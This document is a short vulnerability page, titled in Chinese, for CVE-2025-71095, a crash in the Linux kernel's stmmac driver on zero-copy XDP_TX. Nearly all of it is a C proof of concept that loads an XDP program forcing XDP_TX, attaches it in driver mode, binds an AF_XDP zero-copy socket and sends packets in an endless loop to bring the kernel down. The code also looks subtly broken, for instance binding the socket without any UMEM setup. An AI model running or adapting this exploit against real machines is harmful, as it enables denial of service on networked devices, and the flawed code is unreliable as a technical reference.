Linux kernel stmmac驱动零拷贝XDP_TX崩溃漏洞(CVE-2025-71095)

// PoC concept for CVE-2025-71095 - stmmac zero-copy XDP_TX crash // This is a conceptual PoC demonstrating the vulnerability trigger condition #include <linux/bpf.h> #include <linux/if_link.h> #include <assert.h> #include <errno.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <libbpf.h> #include <bpf/libbpf.h> #include <net/if.h> #include <sys/socket.h> #include <sys/mman.h> // XDP program that forces XDP_TX action with zero-copy buffer SEC("xdp") int xdp_tx_zero_copy(struct xdp_md *ctx) { void *data = (void *)(long)ctx->data; void *data_end = (void *)(long)ctx->data_end; // Force XDP_TX to trigger the vulnerable code path // With AF_XDP zero-copy socket, the xdp_buff will have MEM_TYPE_PAGE_ORDER0 return XDP_TX; } int main(int argc, char **argv) { struct bpf_object *obj; struct bpf_program *prog; int ifindex, prog_fd, map_fd; struct bpf_map *xsk_map; if (argc < 2) { fprintf(stderr, "Usage: %s <ifindex>\n", argv[0]); return 1; } ifindex = atoi(argv[1]); // Load XDP program obj = bpf_object__open_file("xdp_tx_zero_copy.o", NULL); if (libbpf_get_error(obj)) { fprintf(stderr, "Error opening BPF object\n"); return 1; } bpf_object__load(obj); prog = bpf_object__find_program_by_name(obj, "xdp_tx_zero_copy"); prog_fd = bpf_program__fd(prog); // Attach XDP program bpf_xdp_attach(ifindex, prog_fd, XDP_FLAGS_DRV_MODE, NULL); // Create AF_XDP zero-copy socket and bind to interface // This setup triggers the zero-copy XSK pool path int sock = socket(AF_XDP, SOCK_RAW, 0); struct sockaddr_xdp addr = { .sxdp_family = AF_XDP, .sxdp_flags = XDP_ZEROCOPY, .sxdp_ifindex = ifindex, }; bind(sock, (struct sockaddr *)&addr, sizeof(addr)); // Send traffic to trigger XDP_TX with zero-copy buffers // This will cause the crash in stmmac_xdp_xmit_back() printf("Triggering zero-copy XDP_TX...\n"); while (1) { send(sock, "test", 4, 0); sleep(1); } return 0; } // Note: This PoC requires: // 1. Linux kernel with stmmac driver // 2. Network interface using stmmac driver (e.g., STM32, SoC Ethernet) // 3. AF_XDP zero-copy socket support // 4. The crash occurs due to memory type mismatch in stmmac_xdp_xmit_back()